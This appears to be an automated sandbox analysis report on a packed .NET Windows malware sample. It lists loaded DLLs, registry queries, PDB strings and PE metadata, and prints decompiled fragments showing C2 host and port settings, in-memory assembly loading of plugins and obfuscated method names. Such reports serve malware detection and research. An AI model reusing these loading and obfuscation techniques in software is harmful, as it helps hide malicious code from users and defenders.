Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbs source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601179462.000000000683A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: fSgG.pdbSHA256 source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source:	Binary string: Accessibility.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.ni.pdbRSDS source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: n.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb$ source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Configuration.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Xml.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\fSgG.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.0000000006797000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp, WER7A57.tmp.dmp.13.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb] source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601179462.000000000683A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\fSgG.pdbe source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601179462.000000000683A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Windows.Forms.pdb\|c source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.PDB source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595773433.0000000000F36000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbSK source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3600830735.00000000067A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Drawing.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: mscorlib.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Management.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: nC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: fSgG.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3601570061.00000000072AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.ni.pdb source: WER7A57.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER7A57.tmp.dmp.13.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, Form1.cs	.Net Code: InitializeComponent
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	.Net Code: mXM9LNPFbq System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.2645004.3.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.2638bc0.2.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, D0OGH51qG7TrJUYkAK.cs	.Net Code: mXM9LNPFbq System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, D0OGH51qG7TrJUYkAK.cs	.Net Code: mXM9LNPFbq System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6870000.6.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: 0xBE7B7599 [Wed Apr 8 23:41:13 2071 UTC]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 0_2_009DEE10 pushfd ; iretd		0_2_009DEE11
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Code function: 5_2_05458160 push esp; iretd		5_2_05458161

Source: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Static PE information: section name: .text entropy: 7.7368081138603095

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	High entropy of concatenated method names: 'JR1JRG4y8a', 'vkKJELq1PC', 'l5sJs5sanZ', 'vc3JU9mP0w', 'udAJwk20H2', 'NVOJAsXNxk', 'vZrJGXjZpa', 'hOYJ1ONTlx', 'vkBJeFlcO3', 'UfHJqc9CV3'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, YqOlYl2eFwtfPkt21E.cs	High entropy of concatenated method names: 'zeuskKjA1L', 't6dsi7fBC6', 'HtBsISLSjw', 'IjpsWUhMnN', 'GbBsNlvb8J', 'MudsDxrVUJ', 'jrMsSOuYyZ', 'lxPsfYHPr4', 'FOasMfJJ1Z', 'PsVsOWW9qL'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, MhaIhDzaPUNsFfpULt.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BeHV4wgTlM', 'oqSV0vtKm2', 'FRCVj69MJH', 'I5bVHhfCuL', 'bGsVKaNcsB', 'yQ2VVSVK2Y', 'G6UVX46uPx'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, RqmCPZsVMMv5nbrMN6.cs	High entropy of concatenated method names: 'Dispose', 'TqEvMbYPBl', 'E1Dbl6QgMl', 'aLH9986UWT', 'fvIvOGDt4q', 'zpMvzXZpZX', 'ProcessDialogKey', 'fpCbuonY1J', 'u2Dbv8ygbK', 'QcGbbwGrKv'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, iNFWmT65K4oBOHdv97.cs	High entropy of concatenated method names: 'Wl4AR8MHHE', 'titAsqu8Kd', 'abTAwE5JMD', 'uogAGwP4vc', 'ujcA1qT3i8', 'eblwNEOGXG', 'm4uwDHFCio', 'QcSwS2rJtO', 'KaowfZguGr', 'ajXwMnqCsI'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, mdHoHt9MfgQhGOrMY7.cs	High entropy of concatenated method names: 'WFOvGqOlYl', 'lFwv1tfPkt', 'p3avqmmghX', 'wN9voE8Vt6', 'ndiv0ZgANF', 'TmTvj5K4oB', 'h2CgQ5y5XUUsiTJhmL', 'CZR8tK8FjhjBByWFCT', 'tSlvvtTwth', 'YalvJN7MuA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, gkMdOYbUoH9rcjFeuZ.cs	High entropy of concatenated method names: 'd9wLtM8M4', 'Q0ug5PUUG', 'qIldgNNAC', 'bOQYR4RJA', 'jdec7qMwi', 'fwsQtawSe', 'q10rCeFp93vb3FnsYl', 'nAVdAUHX1OuFXTaYJ5', 'SReucDfU4e0o5OcQkW', 'hNbKyY2mW'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, PonY1JM82D8ygbKCcG.cs	High entropy of concatenated method names: 'n2LK6NIN2w', 'DPiKl4fHrB', 'K1sK72UjWb', 'Om9K5FsIXk', 'hkJKkFF2wb', 'YxtKpoI6uL', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, OOJ1Sjc3ammghXBN9E.cs	High entropy of concatenated method names: 'jy7UgP62MX', 'f3uUdagdZm', 'X4AU26DqcP', 'aysUcGwFIG', 'wbPU0hveJe', 'vEMUjDqhgi', 'ib2UH07rxZ', 'gHiUKaMWDi', 'GemUVCvHPy', 'X2wUXKmYVB'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, ChekuZ3HCIwSmN8ZNP.cs	High entropy of concatenated method names: 'agrGEhicPZ', 'FydGUJrVl5', 'cK2GA3q7rS', 'DAqAOVF3Jn', 'VtcAzxQMXs', 'cCAGunM6aN', 'AtFGvEHcbJ', 'EkQGb7xa9e', 'ncEGJrZ37u', 'eyuG9aSySR'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, LDBvEBvJJ3O33kFquaV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Xi4XkqBNKI', 'Y2bXiB2U7k', 'FOxXIZQaM5', 'KamXW2Gu9D', 'IHvXN21gAX', 'KGtXDVUCTG', 'LdkXS8cZvG'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, ySkLlbvukfHRnCTtESI.cs	High entropy of concatenated method names: 'gLXVP5FDHj', 'aSkVZK37or', 'HG7VLuGtTa', 'soAVgBft2a', 'PtRVTjr7Id', 'rHaVdWW1jN', 'QjgVYcgLJ3', 'OmiV2hkTWw', 'Y55Vc8phEb', 'B2CVQTE6FE'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, aIGDt4fqLpMXZpZXEp.cs	High entropy of concatenated method names: 'SUAKEhmXdr', 'eHCKsVIEDR', 'SuuKUxDlwg', 'yRMKwgOGM8', 'xdlKA6pPcH', 'T94KG2yKTT', 'GjLK1KBe6N', 'ABlKejwfBe', 'bvaKqUYxLT', 'tDuKo8ou3Q'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, vVt6wEQ8mT4XM4diZg.cs	High entropy of concatenated method names: 'ClCwTDJJKM', 'EK9wYjjCoO', 'BT4U7LwcW0', 'MslU5ruEou', 'yViUp9dunO', 'iYDUhZUOZY', 'iqJU3vMfWW', 'forUFp8S7h', 'M3aUxR2uBi', 'LOsUrW5uAb'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, amwXR0CPXsVauy8NYU.cs	High entropy of concatenated method names: 'xej427V6Wx', 'vK54cfaJKy', 'Wrr46KdAK3', 'csA4l8JLTw', 'IxM45M4UWh', 'Hlf4pCYPVn', 'Jhk43K60U4', 'n7W4FJ2g0g', 'hRT4rn5FeS', 'jtN4txLWE7'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, oU7Yibkb84IpiWUtkd.cs	High entropy of concatenated method names: 'yub0rrljC9', 'XBj0mDHsd1', 'GtJ0kVWXBl', 'HVS0iZIqiF', 'Vsx0l1ixll', 'oHL07QU8Gl', 'epX05solxG', 'Rfq0pccQkJ', 'U3U0hDrX0A', 'nMG03rtVaT'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, iGrKvbOUPHtmRDgSTJ.cs	High entropy of concatenated method names: 'agEVvngImu', 'PIfVJA4aDy', 'XpcV9xXeCa', 'cYlVEpUVI1', 'HMdVsuspcd', 'MjAVwYTieb', 'rkEVAAFx1C', 'hG6KS3vCZW', 'BXBKfy9c9e', 'VnWKMcoctd'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, BXplLTWfheod5WBiyg.cs	High entropy of concatenated method names: 'C20Hq9Hcea', 'in6HoWY1Ve', 'ToString', 'mwoHEmyxQy', 'vtrHsBKQwQ', 'Sv3HUS5hyB', 'LiSHwocv62', 'zPTHAJxt9l', 'ayrHG3hdk7', 'kkXH17fwkk'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, Nffji0ITJKe56hgjhg.cs	High entropy of concatenated method names: 'ToString', 'eqfjtSCq4s', 'Hvwjl0v4Jh', 'ywsj7bq0Ac', 'qDvj5MlPCt', 'zv3jpXEof8', 'BJujhFb0bW', 'zC9j3jelJL', 'pu5jFnG9P6', 'FP1jxBAWBQ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6b70000.7.raw.unpack, VTGJwXxvM7Ziv4PKG3.cs	High entropy of concatenated method names: 'bwLGPhyH4f', 'r0iGZb4V7x', 'RsoGLpDUXp', 'npTGgZC5vf', 'FXSGTg6wYe', 'u4AGdcJwvV', 'BaMGYDHCYX', 'fSfG2jlcJV', 'N5YGcprfQn', 'Cs5GQYEQ3k'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.2645004.3.raw.unpack, kD0JNdgNBriBGn5egS.cs	High entropy of concatenated method names: 'ubU6vJppswKkZ', 'uvAmfDYbimWPg9rmyH6', 'XHYItoYHo1DoUvgeuNZ', 'tYVkNWYXlYIi7gDFfLn', 'TV4H82YzoL7kT86loIA', 'yoiEG7M3KqRFDlQAaqW', 'rU4RpWYS77WPQpUZwKR', 'vGvSIFYGEhSitdykOPg', 'TCSl6vMYjB5c5h75h4u'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.2645004.3.raw.unpack, QBy45BY4uMbUQs88Qq.cs	High entropy of concatenated method names: 'QByY45B4u', 'EbUNQs88Q', 'D8PguGCCm', 'gfwtorebq', 'rQ9oD0JNd', 'cBrXiBGn5', 'sgS08fT72', 'lmAQKmrG6', 'qn1mTNvNO', 'K084ZL4CG'
